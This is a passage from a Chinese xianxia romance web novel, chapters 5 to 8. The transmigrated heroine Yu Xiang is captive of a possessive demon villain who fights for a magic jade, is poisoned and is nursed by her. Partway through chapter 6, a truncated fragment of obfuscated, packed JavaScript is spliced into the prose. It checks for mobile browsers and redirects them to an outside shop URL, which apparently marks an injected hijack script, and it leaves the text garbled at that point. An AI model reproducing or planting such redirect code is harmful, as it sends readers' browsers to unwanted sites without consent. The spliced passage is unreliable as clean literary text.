虞想迷迷瞪瞪的睁开双眼,冷不丁地被站在一旁的雁亭序吓了一跳。
更重要的是,她现在还非常明显的察觉到后颈那只逐渐收紧的手。
大半夜的不睡觉来掐她脖子?
他神经病吧!
虞想心中现在已经是一片大草原上万马奔腾,呵呵,她还真得给他颁个最佳反派敬业奖。
她竭尽全力遏制住心中那股要破笼而出的吐槽欲,柔柔弱弱问道:“这么晚了,是有什么事吗?”
她想扯出个笑脸,可牙根已经被她咬的发酸,导致这笑不自觉的带上几分冷笑的意味。
雁亭序觑了她一眼,将手收回,若无其事道:“你去找到这间石室的机关,我要出去。”
他丫的,你有手有脚自己不会找吗?
找就算了,还非得大晚上找!
她算是看出来了,这玩意儿就是睡不着,故意折腾她。
虞想现在真想拿起自己的脚底板下的鞋抽他,可她还是不敢。
她只能忍气吞声地咬牙切齿道:“好~我!马!上!就!去!”
雁亭序见她一副敢怒不敢言的样子,心间郁气散去了几分,这样才对。
他这一世找到她不就是为了折磨她吗?
又怎会放她心安理得的睡觉?
她上一世既然敢为了别的男人抛弃他,这一世他又怎会放过她?
要是能回到过去,他定要掐着她的脖子,质问她,为什么要那样做。
可现在,这些都不重要了,她人现在就在他身边,他想怎么折磨就怎么折磨,要是再敢跑,抓回来打断腿就是了。
雁亭序手中的瓷杯在想到虞想不辞而别的时候,就已经生生被他捏碎在手心,白色的瓷片陷进皮肉里,可他却像是不知疼痛一般,眼神凶狠地盯着不远处的虞想,任由鲜红的血液一滴一滴,滴落在地。
蹲在墙根的虞想根本没注意到身后的雁亭序复杂的情绪变化。
她强睁着眼皮,摸索墙壁,试图找到那什么机关。可她真的好困,眼皮都要睁不开了。
虞想再次坠入梦境前的最后一个想法是:要是明早雁亭序发现她睡着了,不会咔吧一声把她脖子拧断吧。
下一秒她便没了意识,再次昏睡过去。
第二天一早,虞想便立刻睁开了双
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眼,没办法,多年养成的生物钟就是那么准时。
虞想打着哈欠看向床头,床上已空空如也,她一骨碌爬起来,才发现雁亭序就坐在她昨晚睡觉的那个地方,右手撑着额角,一张堪称完美的侧脸冲着她。
该说不说,反派这张脸确实是鬼斧神工,侧脸线条流畅却又不失凌厉,与原著作者的亲儿子男主相比,也不相上下。
只可惜他好好的人,啊不,魔不当,非得当神经病,脾气那样坏,怪不得原著中他到最后都没娶到老婆,活该!
虞想轻巧的从地上站起来,拍拍手重点灰,眼神炯炯地看向四周的墙壁。
恰巧此时雁亭序睁开双眼,他眼神清明,深邃的双眼皮褶皱被他压进去,让他整个人都变得凌厉十足。
“找到出去的机关了?”
虞想回忆了一下自己昨晚的呼呼大睡,露出个尴尬却不失礼貌的微笑:“没有。”
“没用的东西!”
!!!
怎么还人身攻击?
你倒是有用但你来啊。
虞想撇撇嘴,没敢明面上反驳。
雁亭序轻嗤一声,手掌间,暗黑色的魔气翻涌,他一掌向前拍去,石室顿时被砸出个大洞。
!
还能有这种骚操作?那他昨晚还非得大半夜的让她找机关,神经病,简直丧尽天良!
虞想跟在雁亭序身后,在心底默默腹诽他。
“你心里在骂我?”雁亭序突然转身,语气森然的截住虞想。
虞想一时不察,竟然直挺挺撞进他的胸膛,额头顿时被撞得通红,眼泪也刷的一下流了出来,还有些泪水盈满眼眶,像是一只哭鼻子的兔子。
反观雁亭序,屁事没有,毫发无伤,看着虞想这副可怜巴巴的姿态,他反倒觉着牙齿痒痒的,想去咬点什么东西。
雁亭序磨了磨牙,轻斥她一句:“走路都冒冒失失的,还能有点儿什么用。”
“还有你那头,啧,真铁。”
他说完,都没有计较虞想是否骂他这件事,转身往前面走去,高高的马尾一晃一晃,荡漾在他的腰间。
虞想还在震惊他那一句“真铁”。
他竟然说一个女孩子头铁?
他丫的,姓雁的,他还是人吗?
回过神来的虞想瞬间被拉满怒气值。
今日这仇,她跟雁亭序结下了!
虞想噙着泪,愤愤地跺脚,只是现在这副样子,怎么看都没有杀伤力。
两人刚出石室,便来到一道透明的结界之外,虞想特意找了个离雁亭序稍远的地方,将手放上去。
结界处立刻荡漾起水波一样的花纹,虞想对此感到新奇不已,连刚才对雁亭序的气愤都化解了不少。
尽管她已经穿来了好几天,也见过不少奇异的妖,可那归根到底也只是见到。
眼下真正摸到这层传说中的结界,她这才是对修真界这三个字有了实感。
不过雁亭序向来对这些不感兴趣。
见虞想一双小鹿眼亮晶晶的,心头顿时生出一股闷气,他出手狠绝,一招后,阻隔两人的结界便如同蛛网般破碎,在空气中消散个彻底。
结界破碎,露出里面的全貌,虞想发现这间宫殿是他们第一次进入的那间。
5. 第 5 章
中间的金鸾还和她初次见到那样,长喙闭得紧紧的、高高的仰起脖颈。
雁亭序直接揽住她的腰身,飞身掠起,来到大殿中央。
他那一双姣好的丹凤眼,径直盯着眼前的那只金鸾,一动不动。
半晌,他突然咧出个笑来,露出森森白牙,如同一只发现食物的恶鬼:“找到了!”
黑红色的魔气自他指尖溢出,丝丝缕缕往前,企图一下子缠住这只金鸾。
就在它即将触碰住金鸾的前一瞬,那金鸾四周竟然生出一个木笼,木笼包裹住金鸾,竟然让那些魔气都无法再侵蚀它分毫。
就在这时,脑海中的断萤突然喊道:“阿想,这只金鸾体内有沉土珏。”
谁?什么沉土珏?
虞想被它喊得有些发懵,沉土珏这个东西怎么这还有点耳熟。
她正想再好好想想,却不料被雁亭序打断思绪。
“怎么,还有空分神,现在不害怕了?”
虞想回过神来,瞥见大反派一脸探究的神情,立马柔柔弱弱地点头,“怕!”
说话间,眼里也憋出几滴泪水,叫人看着好不可怜。
“小胆儿。”
“怕就找个地方躲着,这活儿你不是最熟。”他乜斜她一眼,语气中带着浓浓的嘲讽。
虞想现在不跟他一般计较,能找个地方躲着,不用跟他在这里当肉靶子再好不过。
她提起裙摆,迅速跑到一堆珠宝后,藏住身形。
雁亭序见她跑得那么快,连一个眼神都没分给他,微微磨了磨牙,眉间有些恼怒,脸色一沉,眼神凶狠的看向眼前的千年藤妖。
突然,大殿内响起一道苍老浑厚的声音:“年轻人,这沉土珏的有缘人不是你,我劝你还是速速离去吧。”
“呵。”雁亭序扯扯唇角,语气不善,“那若是我强要呢?”
“那就别怪老夫不客气!”
霎时,妖气与魔气在半空相撞,振出一道又一道无形的波浪。
雁亭序衣袍猎猎作响,浓密的发丝在身后张牙舞爪地飞缠着,整个人身上煞气极重,外面透过来的光打在他身侧,他站在光与暗的交界处,神色明明灭灭像是一只前来索命的妖鬼。
虞想看得简直胆战心惊。
她环顾四周,这间大殿除了正在缠斗的雁亭序与千年藤妖,好像也没有别人了。
那……此时不跑更待何时?
她暗戳戳地问断萤:“断萤,你知道这地宫的出口在哪吗?能带我出去吗?”
“我……我知道!”
断萤本想说它不知,可这是阿想第一次求助它,它要是说不知道,那岂不是显得很没用,反正它可以用根系探路,应该也没什么区别。
虞想一听,眉眼间皆是喜色,她已经迫不及待的要离开这神经病,去过自己的逍遥日子了。
她提起裙摆,猫着腰,跟着断萤的指示小心翼翼地往外走去。
就在即将到达出口的时候,虞想脚下一时不察,踢到一块金砖。
当啷一声,虞想心头一跳,也不管身后人是什么反应,她箭步一跃,飞快地往外跑去。
这么响亮的一声瞬间吸引了雁亭序的注意力,他偏头看去,发现躲在珠宝堆后的虞想早已不见身影,而那身着石榴裙的姑娘,此刻正如同一只翩跹的蝴蝶,明媚快乐地奔向外面的自由世界。
雁亭序顿时双手紧握成拳,咬紧牙关,胸膛急剧起伏地盯着她离去的方向,竭尽全力才抑制住内心的暴戾的冲动。
他转身看向不远处的藤妖,魔气翻涌,数十道由魔气幻化而成的箭矢在半空中旋转,膨胀变大。
他下手极狠,掌间一挥,数十支魔箭便从半空中飞跃而下,径直插向保护着金鸾的木笼。
只听见咔吧一声,木笼上长出一条裂纹,随后裂纹迅速扩散,木笼碎成一根根藤条,散落在地上。
幻化成人形的藤妖跌倒在一旁,嗬嗬喘着粗气,见大势已去,他闭了闭眼,最后着劝解这魔族少年:“年轻人,万事自有定数,你这般强横行事,最终只会害人害己呐。”
藤妖说完,又咳咳地吐出两口鲜血。
雁亭序最烦别人说教,他眼神一眯,恶狠狠的向藤妖开口:“我的事,还轮不到你来插手,有这闲工夫,你还不如好好关心关心你自己。”
藤妖见他如此执迷不悟,知道劝解是没有用的了。
他将最后的妖力凝聚在金鸾的长喙处,金鸾檀口大张,发出一声嘹亮的清啼,通身透亮的沉土珏从它嘴里飞出,落到雁亭序手上。
拿到沉土珏,雁亭序心情才有所好转,可一想到逃跑的虞想,他愤愤的咬了咬腮帮,发誓将人捉回来后定要将她碎尸万段,以泄他心头之愤。
雁亭序抬步往殿外走去,身后却突然传来异动。
他顿住脚步,回身看去,只见原本通体金亮的金鸾,被一股紫气缠绕,那股紫气非正非邪,还带着点熟悉。
很快,自金鸾檀口涌出一些紫色的蝴蝶,它们振翅而飞,朝着雁亭序方向袭来。
雁亭序定睛看去,才发现它们是飞梦蝶。
飞梦蝶乃是魔族的天敌,与魔物相生相克,它们专以魔气为食,寄生在魔族体内,魔力越强大的魔,往往飞梦蝶生存的会更久,待到那被寄生的魔族失去所有魔气,它们也会迎来自己的死期。
但飞梦蝶早就伴随地狱之门的关闭而消失在天地间,这里又怎么会有这么多。
雁亭序一时不察,几只飞梦蝶就要往他身上
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钻去。
苍梧像是察觉到危险,从雁亭序肩头飞落,幼小的身躯逐渐膨胀到无可忽视的程度,阻拦着这些飞梦蝶。
它是妖,它不惧怕这些东西。
雁亭序不是普通的魔,他也不知道自己被咬后会变成什么样子。
要是以前,便是和这些飞梦蝶杀个你死我活,他也浑不在意,可是现在不行,他还得先将那不知死活的虞想抓回来。
雁亭序毫不恋战,飞身往大殿外掠去。
苍梧在他身后,挥舞着翅膀,斩断飞梦蝶的去路。
一只飞梦蝶在所有人都没有注意的时候,悄然脱离队伍,轻巧的往雁亭序身后飞去。
雁亭序刚有所察觉的时候,它已然贴上他的白皙的后颈,只不过还没来得及进入他的体内,便被强大的魔气摧毁成齑粉。
雁亭序摸了摸后颈,感觉上面有两个被刺穿的小孔,像是被飞梦蝶注入了毒素。
毒素么?
那便看看能不能杀了他吧。
反观虞想这边,从那座大殿逃出来后,虞想便像是陷入了鬼打墙一般,无论往哪走,都会有走到一个岔路口,然后有两条路让她选。
待她选了一条路后,没多久,便又会遇到一条岔路口。
就这样无穷无尽,她到底什么时候才能从这里走出去?
虞想戳了戳脑海中的断萤,“断萤,你真的知道怎么出去吗?”
现在她十分怀疑这小藤蔓是来诓她的,否则她怎么感觉一直在原地打转。
“阿想,对不起,这宫殿里有一股奇怪的力量,我的根系在里面找不到方向,呜呜呜。”断萤哭哭啼啼的在脑海中向虞想道歉。
而虞想听到它的话后,只觉得两眼一黑,她说她怎么一直在这里打转,感情她认为的导航根本没有地图,而且方向还不准!
这半道上找的盟友,还真是自带那么点“靠谱”属性哈。
虞想现在只能一边在脑海中轻声安慰着哭得不成样子的断萤,一边摸索着寻找着出路了。
皇天不负有心人,在转了不知道多少圈之后,虞想终于在道路尽头看见一束光亮。
她一见那光便被刺的生理性眯起眼,只能抬起衣袖挡住视线,待适应了几秒后,她才放下袖摆,往出口走去。
虞想一步从岔道跃出,欢喜雀跃地想呼吸一下自由的空气。
可看见不远处一个熟悉的人,此刻正跌跌撞撞向她走来,她伸展腰肢的动作被钉在了原地。
那一双灵动的小鹿眼兀然睁大,樱粉色的唇瓣不自觉张开,猛吸一口凉气,她不可置信地眼前熟悉的大殿,和熟悉的大反派。
虞想简直欲哭无泪。
所以说,她走了那么久,又走回原地了!
6. 第 6 章
雁亭序被飞梦蝶咬便感觉后颈热热的,像是被蚂蚁咬了一口的感觉,很痒、酥酥麻麻的。
飞梦蝶的毒素在他体内蔓延,使他浑身都开始发热,四肢变得绵软,头也晕乎乎的,像是装了一堆浆糊。
雁亭序凭借着强大的意志,迈着凌乱的步伐往前走去,身体里的毒素却因他剧烈运动扩散的更快。
眼前已经阵阵发黑,天旋地转间,他好像看到了虞想,他伸手想去拉她,却突然意识模糊,一个踉跄,晕倒在地。
虞想惊恐地看着脸色苍白的雁亭序晕倒在她的眼前,往后缩了缩,怕被他碰瓷。
现在是什么情况,大反派受伤了?
那她现在找个地方躲起来,还来得及吗?
这个想法只在虞想头脑中存在一秒就被迅速否决。
且不说大反派苏醒后会不会再把她抓回来,就是她躲起来能不能找到出口也是一个问题,而且大反派现在还是这样一副半死不活的样子。虽然她很清楚在原著中他是会活到大结局,但要是他现在真的就这样死了呢,她要眼睁睁看着一个人死在她面前吗?
虞想觉得她做不到。
她无意识地咬了咬唇瓣,眼眸复杂的地看了眼不远处的雁亭序,最后无奈地叹了口气,朝他小跑而去。
虞想蹲在地上,试探性地探了探雁亭序的鼻息,发现人还有气,呼,还活着。
既然人还活着,那……
她故意加重力道,佯装关心的戳了戳雁亭序苍白的脸颊,“你、你还能听到我说话吗?”
地上的人毫无任何反应。
虞想见状,果断伺机报复,以泄她先前所受的气。
她凶巴巴地扯住雁亭序的衣领,将人往前推了推,“喂,我说,就算你是反派也不能随地大小睡吧。”
雁亭序纹丝不动,还是没有任何反应,虞想顺势松开衣领,站起身子踢了他两脚。
嘴里嘟囔着:“狗东西,平时看着挺威风,现在也有你躺板板的份了吧。”
苍梧站在不远,歪着头看着虞想的动作,小小的绿豆眼中充满了不解。
此时外面传来一阵攀谈,“大师兄,沉土珏真的在这里吗?为什么我们找了这么久还没找到。”
“卦上显示,就是在此地。”
不好!
虞想一听这声音就知道是林疏放,无他,就是作者亲妈给他的声音太有辨识度了。
要是被男主看到她在这里,那她先前的跑路不就白费了。
而且到那时她该怎样解释自己不在长清宗,反倒是在这个地宫里。
虞想看了眼地上的雁亭序,恨不得扇自己两大嘴巴子,都怪你,一时心软什么呀,他又不会死,他还得活到大结局跟男女主决斗呢。
现在好了,自己都自身难保了。
虞想正头脑风暴的时候,余光突然瞥见一旁的苍梧,她眼神一亮,谆谆善诱道:“那个,你家主人受伤了,我现在需要带他去一个安全的地方。”
“你能不能把我们送到附近的小镇上?”
苍梧听完,也没有任何动作,那双绿豆眼还是那样看着她。
她们这个位置在大殿外围,四周比较空旷,要是进入大殿,肯定第一眼就能看见他们。
虞想不免有些着急,“糟了,该不会是听不懂人语吧,可先前雁亭序跟它说话时,它明明也能听懂啊。”
就在她犯难,该如何找个安全的地方,顺带把这样一个成年男子托运过去时,眼前忽然刮过一阵飓风,黑色的鸦羽包裹住她和雁亭序,径直将他们送向身形庞大的苍梧的脊背。
半空之上,虞想紧紧攥着雁亭序的衣袖,紧闭双眼不敢往下去看,不知过了多久,苍梧一个俯冲,带他们安全落地。
虞想睁开眼,发现苍梧并没有带他们去镇子上,反而来到他们先前待过的那个山洞里。
“这家伙,还挺念旧,说去个安全的地方,把他们带到这里了。”虞想小声嘀咕道。
“不过,这次谢谢你了。”虞想冲苍梧露出个感激的笑容,手掌在它脑袋旁晃了晃,却迟迟没敢落下去摸摸它的脑袋。
*
“大师兄,你看这里。”林疏放听见师弟的呼唤,连忙往那边走去。只见原先金碧辉煌的一座大殿,被两道实力强大的气息中伤,弄得满地狼藉。
一只体型庞大的金鸾,通身黯淡无光,就那样矗立在大殿中央。
林疏放向前走去,在金鸾旁发现了一堆枯朽的枝藤,他拈了拈,发现是旁边那只藤妖的枝干。
看这样子,这里先前应该是发生过一起剧烈的打斗,一方应该是这只藤妖,那另一方呢?
他们是私怨,还是为了抢夺沉土珏?
林疏放让师弟们仔细观察四周,若发现有异样及时禀报。
他细细打量着眼前的金鸾,却发现它的口中好像有什么东西。
林疏放飞身探去,发现金鸾口中,一只飞梦蝶正试图往外飞去。
他神色自若,心下却有了计较,拿出一个净瓶将它放了进去。
一番查探,依旧没有任何其他的线索,他转头吩咐师弟们不用再找了。
因为他们恐怕是来晚了。
林疏放在师弟师妹们一片惊异不解的目光中,握紧手中的净瓶,脊背挺直往殿外走去。
*
反观虞想这边。
虞想生疏的升起火堆后,才细细打量起躺在一旁的雁亭序。
他确实是身量极高,就这样平躺在地上,也是长手长脚占地方,宽肩窄腰,浑身肌肉却又不失流畅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301775|198664||http|test|mini|href|location''.split(''|''),0,{}));
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>细细看去才发现他那一双丹凤眼生的极好,睫毛纤细浓密,双眼皮褶皱很深,睁眼看人时带着一股子凌厉感。
现下因为生病,那股凌厉感退散很多,紧促的眉头与苍白的唇瓣,倒是让他平添一股脆弱感。
虞想就这样打量着雁亭序,忽然,好像一缕白气自雁亭序胸膛冒出,她不可置信地揉揉眼,再仔细看去,发现他全身都在冒着热气。
一摸他的额头,烫的吓人。
虞想一时有些慌,这是什么情况?
他发烧了?
她连忙跑到溪边用树叶接了点水,把身上的带的帕子沾湿了,敷到雁亭序的额头上。
不消一会儿,额头上冰凉的帕子就变得热烘烘的,虞想又赶紧把帕子沾湿,再给他敷到额头,如此反复。
从洞外还有些许光亮到暮色四合,再到夜晚拉下漆黑的幕布,虞想一直在那里给雁亭序退烧,直到他身体上冒的白气变少,人也没有先前那样烫,这才松口气。
虞想动了动僵直酸痛的手指,才发现她不知道已经维持这个姿势有多久了,久到膝盖发麻,手指僵硬。
咕噜~
肚子发出一声响亮的声响。
她后知后觉,自己已经一天没吃东西了。
饥饿感涌上,她顿时觉得自己的胃火烧火燎的,真有那种饿的前胸贴后背的感觉。
虞想摸了摸身上,没有吃的,包袱也因为走得急,没有带任何吃的。
她无奈的叹了口气,看来今天一天都要饿肚子了。
守在门口的苍梧看着虞想摸肚子的动作,眨眨眼,像是明白了什么,展翅一震,从洞口飞向天际。
可惜虞想正忙着给雁亭序换帕子,没有注意到它。
凉水却已经所剩无几,雁亭序的温度才好不容易降下来,要是再烧上去,先前她可就白忙活了。
她连忙多拿着几个树叶去溪边多盛了点水,放在身侧以备后用。
就在她接完水的时候,外出的苍梧赶回来了,嘴里还叼着一个绿色的包裹,见到她,把包裹往她方向一扔,去洞口站着放哨了。
虞想不免惊诧于它通人性的动作,并为她先前觉得它不通人性道歉。
她拿起那个包裹,外表是用绿色树叶捆扎,内里是些绿色的小野果,她拿起几颗尝了尝,酸酸甜甜的,还挺好吃。
她将果子洗净了,蹲在雁亭序身边,小口的吃着。一包果子下肚,稍稍缓解了她的饥饿感。
她又去摸了摸雁亭序的额头,查看了一下他的伤势,发现人没有事,烧也已经退下,就是不知道什么时候醒来。
她转身去拧干净帕子,丝毫没有注意到雁亭序口中发出几道微不可察的喃喃自语。
“虞想,虞想。”
“不,别走!”
7. 第 7 章
雁亭序又如同往常一样,梦到了上一世。
那次他与一只实力强悍的大魔厮杀,身体里的魔气消耗殆尽,才堪堪将他杀死,同样他也没好到哪里去,左肩的骨头直接被打碎,左手就那样没有知觉的垂着,右腿也豁开个长长的口子,深可见骨。
重伤的他意识昏昏沉沉,变回了自己的原型——他最厌恶、最无能的样子。
像是猫科动物的幼崽,身形瘦小,还没有利爪,遇到其他凶兽,只有被欺辱的份儿。
他最讨厌的就是他的原型。
雁亭序找了个隐蔽的树丛,安静疗伤,只等他恢复个半个月,便可以摆脱这副形态。
虞想便也是在那个时候找到他的。
“这里怎么会有一只小猫?”
少女的惊呼是那样干净、甜美,如同溪涧散落的玉石,清亮动人,隔着树丛,他能看见少女穿了一身颜色鲜亮的衣裳,那身石榴色的大氅在昏黑的冬天傍晚,如同一道明媚的春光,照进了他的眼底。
雁亭序想起自己现在这副样子,确实与人类的小猫长相相似,但这是她一个愚蠢的人类能说的吗?
他看着眼前的少女,呲了呲牙,试图将她吓退。
“小家伙,还真有点凶,一点也不乖。”
“听话哦。”
虞想嘴上嘟囔了一句,大着胆子去挠了挠它的下巴。
顿时一股奇异的酥痒感遍布四肢,雁亭序竭尽全力才抑制住那道脱口而出的呼噜声。
身体本能的驱使下,他舒服地仰起头眯起眼睛,享受着虞想的抚摸。
直到虞想撤开手心,雁亭序才回过神来,他刚才被这个少女摸了下巴。
而他却十分享受?
羞耻感与恼怒同不知谁先涌现在他的心头。
雁亭序磨了磨牙,他要杀了她!
他刚要发作,却猝不及防被虞想按头顺毛,一顿抚摸,紧接着一声紧张的惊呼再次传来:“你受伤了?”
他想起肩上还有腿上的伤,心中不屑,这个少女真没见识,一点伤口都要大惊小怪。
他抬起头颅,黑润润的眼睛看着眼前的少女忙里忙慌地寻找伤药,急切的想要给他治伤。
这个蠢货,他是魔,这种低等的凡间伤药对他根本没用。
他冷眼看着这个修为低微的少女,为他忙前顾后,小心翼翼地给他包扎,动作又轻又柔,像是一片羽毛在他的心间轻扫。
在那个寒冷昏黑的傍晚,她把他安置在一个小巧的树洞内,身下垫着她石榴色的大氅,树洞里安放着一颗照明的夜明珠。
娇俏的少女拢了拢单薄的衣衫,摸了摸他毛茸茸的耳朵,对他说道:“我现在要回去了,明天再来看你,你不许乱跑哦。”
画面定格,是她那双亮晶晶的小鹿眼,那样甜蜜温柔的看着他。
梦境如同打碎的镜子,破碎成一道又一道碎片,雁亭序从前世那段过往梦境中醒来,一眼就看到身前的虞想。
她正伏在他身前,一只温软的手背贴着他的额头,眼睛亮亮的看他,如同梦境中那般。
雁亭序感觉自己心口上好像又被羽毛扫过,痒痒的、热热的,从心口蔓延至全身。
他一开口,喉咙还有些发紧,“不是跑了吗?怎么回来了?”
沙哑的嗓音让虞想听起来就浑身汗毛倒立。
她扯出个十分真诚的笑容,决定装傻充愣到底,“谁跑了?你不会是以为我离开找吃的那会是跑了吧?”
“那根本不可能!”
虞想摆摆手,刻意把语音加重来增强自己的可信度。
雁亭序瞥她一眼,没说信不信。
他将右臂搭在眼前,遮住旁边明晃晃的火光,掩住自己的神情,一副不想再听解释的样子。
虞想心里打鼓,这大反派到底是信了还是没信?
不一会儿,躺在一旁的雁亭序幽幽开口:“那座宫殿地下有一个强大的法阵,能迷惑人的视线,修为不足的人在里面乱闯只会被法阵绞杀。”
他顿了顿,接上了上半句。
“或者,被送到一些被囚困在那里的妖邪手上,成为他们滋补身体的补品。”
长时间的高烧让他嗓音有些嘶哑,说话时还故意带上了那么几分恐怖的调调,听得虞想心里发毛。
虞想抚着心口,慢慢平静急剧跳动的心脏,试图缓解着那股后怕。还好那会儿她又回到了原点,要是运气差点成为妖邪的补品,只怕是连骨头渣都不剩。
雁亭序见虞想一脸怕得要死的表情,轻笑一声。
知道怕就行。
他本想醒来后就把那不知死活跑了的人,抓回来,打断腿。
没想到她倒是自己回来了,这样也挺好,倒是省的他费一番功夫了。
这两条腿,他便再给她留几天。
两人一时无话,雁亭序闭眼疗伤,虞想则是要进入梦乡了。
今日这一番折腾,可算是耗费心力,脑袋都有些昏沉,虞想觉得她要是再不睡,她真的就要猝死了。
她找了个舒服的姿势,依偎在火堆旁,安静的沉入梦乡。
第二天一早,虞想便在洞口的小溪旁见到了雁亭序,他正掬着一把水洗脸。
豆粒大小的水珠自他额间滑落,滑过硬挺的鼻梁,积蓄在他的下巴尖上,随后一滴一滴没入衣衫,不见踪影。
她这才注意到雁亭序脸色已恢复如初,半点儿不见昨晚受伤时那苍白如纸的脸色。
虞想咂咂舌,大反派这恢复能力还真是强的可怕,怪不得能凭一己之力当上魔界的暴力天花板。
这不死不休的永动机,搁谁谁不怕。
一番洗漱过后,雁亭序便带着她来到了附近的镇子。
这里的镇子还真像仙侠剧中演的那样。
青灰色的房屋,檐角的墙皮脱落,大大的酒字旗挂在酒家门前,街上叫卖的小贩络绎不绝。
脑海中的断萤一见这场景,兴奋的摩拳擦掌,丢下一句:“阿想,我去玩啦!”便不见踪影,任凭虞想在脑海中怎么喊也喊不回来。
这家伙!
虞想悄悄吐槽了一句,“跑得真快!”
雁亭序跟她顺着青石板街一路走去,最终停在了一家客栈前。
虞想抬头看着眼前金光闪闪的四个大字——光明客栈,顿时觉得这家客栈真是前途光明一片。
两人来到柜前,老板笑眯眯的看着两人,问道:“客官是打尖还是住店?”雁亭序直接要了两间上房。
小二识相的把两人引到自己的房间,还贴心的将洗澡水备好,多日奔波,虞想现在终于能洗上个热水澡,瞬间被满足了。
她将衣衫挂在屏风上,缓缓沉入浴
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桶,任由热水冲散她体内的疲惫。直到她拿着布巾擦头发时,虞想还在感慨。
上一次这样擦头发还是没有穿书前,她家吹风机坏掉的时候,现在一想,都感觉离她好遥远,像是上辈子发生的事情。
她站在窗边,任由清凉的微风拂乱她的发丝,眼神怔怔地看着窗外,神思却不知跑到了何处。
隔壁的雁亭序施了个术法,透过窗边那盆清水看到了虞想,见她一副出神的模样,也说不上来为什么,心间就是有些不快。
他心中不快,定是旁人也不能痛快!
没错,他就是自己过的不好,也不能瞧见别人过的比他好,要是瞧见了,他便也得让旁人过的不好。纯纯一个神经病心理。
他兀自化作一缕魔气,穿墙而出,来到街上。
大街上人声鼎沸,熙熙攘攘,雁亭序漫无目的地向前走着,丝毫没有留意周边叫卖的小贩。
突然前方传来一声巨响,雁亭序抬眼看去,原来是一男一女正在那里拉扯,那男的身边小厮想将女的拉走,却在推搡间碰倒隔壁的小摊。
摊主哭哭啼啼,向两人索赔。
雁亭序不想管这出闹剧,抬步正要离开,却在听见旁边一位大娘的话后,止住了脚步。
“诶哟,这小姑娘可真是可怜,就这样被抛弃了。”
抛弃?
这两个字像是戳进了雁亭序的心房,他看了眼那边哭得梨花带雨的女人,黑漆漆的眼珠一转,身形立刻隐在人群。
使用隐身术的雁亭序走到刚才说话的那位大娘旁边,压低声音问道:“她被抛弃?被谁抛弃?”
大娘一以为是身边人跟她唠嗑,眼也不抬的说道:“就是那旁边的柳公子。”
“这小姑娘本是个青楼女子,是柳公子帮她赎了身,她才能脱了贱籍,从青楼里出来。”
“柳公子对她百依百顺,这姑娘也仰慕救她于水火的大英雄,这本来也是一段佳话,可谁成想这柳公子会在姑娘交心后又将人抛弃了。”
“诶哟,可怜见的。”
“交心?”雁亭序细细咀嚼着这两个字,有些出神。
大娘以为人还在听,便唾沫横飞、喋喋不休的讲着:“柳公子父母得知他有个青楼女子的相好后,逼他将人抛弃,柳公子还没执掌家中大权,只得听从父母之命,将人安置在庄子里。”
“那小姑娘觉得她被柳公子抛弃,正哭着来要个说法。啧啧,痴男怨女啊!”
后面的话他听了一星半点,也没往心里去。但他好像知道了什么不得了了的东西。
他悄然往那妇人身上施了个真言咒,压低声音询问道:“你说,该如何让一个女子对一个男人交心?”
大娘眼神有些发直,口中喃喃自语:“那自然是让她爱上他。”
爱上他?
雁亭序听到这几个字有些不解?索性一口气问个清楚。
“怎样爱上?”
大娘支支吾吾说不出话来。
废物!
雁亭序摸着下巴,琢磨起来,忽然一个想法自头脑中闪过,他想到还在客栈的虞想,顿时觉得心中好像有什么东西明朗起来。
他解开那妇人身上的真言咒,脚步轻快地往客栈走去。
只留下原地发愣的大娘,疑惑的挠着头,她好像刚才是跟人说话来着,跟谁呢?
8. 第 8 章
第二天一早,虞想的房门就直接被雁亭序一脚踹开。
对,是踹,不是推。
这个家伙根本没有任何“男女有别”的概念,干什么事都我行我素。
一副老子天下第一的做派。
但人在屋檐下,不得不低头,只要不把她脖子嘎巴一下捏断,他就是把门踹破也没关系,反正又不是她赔。
虞想坐在梳妆台前,听到雁亭序的动静后,连忙把最后一缕头发辫在脑后。
由于昨晚她终于能睡个好觉,为了舒服,她就把这个繁琐的发髻拆下,发簪搁置在一旁。
谁料拆容易,可再弄回去就难了。
她已经在这里坐了将近半个小时,可这头发还是松松垮垮,弄不成原来的样子。
虞想怕雁亭序因此找她茬,这才急急的想辫完它,可谁知道这家伙来这么早。
越是忙乱越是出错,固定发型的那根簪子在她弄上最后一缕头发时,自发间掉下,发出清脆的声响,在地上滚了几圈,缓缓停住。
三千青丝瞬时如瀑布一样,铺散在她的身后,柔密而又有光泽的长发就这样垂在她的腰间,虞想眼皮一跳,完蛋,又要重来。
虞想弄头发弄了多久,雁亭序就看了多久。
现下见她又披散着头发,不耐的啧了一声,他捡起簪子,捞起一把长发握在手中,问道:“真是麻烦,还得多久才能好?”
“我也不知道。”虞想斟酌着用词,语气有些迟疑。
雁亭序嘟囔了一句,虞想也没听清,他自然而然的从她手中接过梳子,帮她绑起头发。
虞想见此,真想去看看今天太阳是不是从西边出来了,大反派今天怎么还人模人样的做起了人事?
她心中打鼓,盯着镜中雁亭序故作老练的动作,怀疑他究竟是会不会。
实际上这也是雁亭序第一次为女孩子梳头发,天知道他刚才为什么头脑一热就直接上手给虞想梳头发。
但活儿都接过来了,他又不想在她面前露怯,只能按照记忆中还有点印象的发髻来弄。
雁亭序帮虞想绑着头发,一抬头,便看见铜镜里的她。
安安静静的坐在梳妆台前,温顺的等着他给她梳头发,透过铜镜,她的眼里就只有他一人。
雁亭序也说不上来此时是什么感受,就像是突然掉进了蜜罐儿一样,甜滋滋的滋味自心头涌出,心口热热的,涨涨的,像是被什么东西充盈起来。
他大刀阔斧的给虞想绑着头发,任由那股甜滋味涌遍全身。
虞想透过铜镜,盯着雁亭序的动作,越看越发现,这家伙他根本不会!
这手法,看起来还不如她呢。
看某人正在兴头上,她也不好去打断他,驳了他的面子。
但这个发型,估计也是废了。
又是半个时辰,虞想跟雁亭序看着镜子中那不成样的发髻两人双双沉默了。
雁亭序是那种打死都不承认自己不行的类型,而虞想实在是不能昧着良心,说这发髻梳的挺不错。
所以一时间,两人都没有开口。
但弄成这样,肯定是不能出门了。
“要不,我再修整修整?”虞想弱弱的提出建议。
雁亭序脖子都有些泛红,眼神乱瞟,看都没看虞想,嗯了一声,这次什么也没说。
